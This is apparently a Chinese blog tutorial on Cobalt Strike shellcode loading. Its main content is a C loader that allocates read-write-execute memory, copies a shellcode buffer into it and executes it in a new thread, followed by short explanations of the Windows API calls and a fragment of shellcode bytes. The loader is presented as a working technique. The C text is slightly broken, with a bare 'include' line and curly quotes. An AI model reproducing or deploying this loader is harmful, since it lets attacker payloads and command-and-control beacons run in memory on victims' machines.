深度解析 CobaltStrike 加载 Shellcode 的技巧(三)

创建线程加载代码部分

include

unsigned char buf[] =””;

void main() {
// 申请一块可进行读写操作的内存
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将buf数组中的内容复制到刚刚分配的内存中
RtlMoveMemory(pMemory, buf, sizeof(buf));

// 创建一个新的线程来执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

// 等待新创建的线程执行完成
WaitForSingleObject(hThread, INFINITE);

}

解析如下

  1. VirtualAlloc:VirtualAlloc 是一个用于在 Windows 操作系统上分配内存的函数。它可以用来在调用进程的虚拟地址空间中分配内存页,并且可指定页面的状态,例如提交或保留。
  2. RtlMoveMemory:RtlMoveMemory 是一个内存复制函数,它能够安全地从源内存块复制指定长度的数据到目标内存块,即使这两个内存块存在重叠也可以正确处理。
  3. CreateThread:CreateThread 是一个创建线程的函数,它在调用进程的虚拟地址空间内创建一个新的线程,并开始执行指定的函数。
  4. WaitForSingleObject:WaitForSingleObject 是一个等待函数,用于等待指定的内核对象(如线程、进程、事件等)进入 signaled 状态或超时。

注意事项

  1. 开发环境:本代码可在各种开发环境下编译运行。
  2. Shellcode 格式:Shellcode 是一种用于利用软件漏洞的机器码,通常用于攻击或渗透测试。它是一系列经过精心设计的指令,用于在目标系统上执行特定操作。您提供的示例中的 shellcode 可能是用于注入到目标进程中执行的代码。

unsigned char shellcode[] =
“\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b”
“\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0”;

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THE END
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